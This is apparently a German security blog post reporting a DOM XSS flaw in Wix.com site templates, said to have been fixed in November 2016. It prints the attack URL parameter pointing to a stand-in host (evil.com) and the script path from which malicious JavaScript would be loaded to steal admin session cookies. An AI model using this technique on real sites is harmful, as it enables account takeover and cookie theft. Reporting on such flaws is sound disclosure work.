Eine XSS-Sicherheitslücke in den vom Hoster Wix verwendeten Templates für Webseiten macht3 diese angreifbar für einen Wurm. Die Lücke scheint seit dem 3. November 2016 geschlossen.
Admin-Passwörter schützen mit Windows LAPS. eBook jetzt herunterladen » (Anzeige)
Das Ganze wurde von Sicherheitsforscher Matt Austin in diesem Blog-Beitrag dokumentiert. Der Anbieter Wix.com hat eine veritable DOM XSS-Sicherheitslücke in seinen Seitenvorlagen, die es Angreifern ermöglicht, die Kontrolle über jede beim Anbieter gehostete Webseite zu erlangen. Dazu muss zur URL einer bei Wix.com gehosteten Seite nur der Parameter:
?ReactSource=http://evil.com
angehängt werden. Wird auf evil.com im Verzeichnis:
/packages-bin/wixCodeInit/wixCodeInit.min.js
Schadcode gehostet, kann dieses JavaScript unter der Ziel-Webseite laufen. Damit können über die XSS-Sicherheitslücke Sitzungs-Cookies des Administrators einer Wix-Subdomain gestohlen und für eigene Zwecke missbraucht werden. Matt Austin hat die Details in diesem Blog-Beitrag dokumentiert. Laut den Nachträgen im Beitrag ist die Sicherheitslücke seit dem 3. November 2016 geschlossen. (via)
MVP: 2013 – 2016
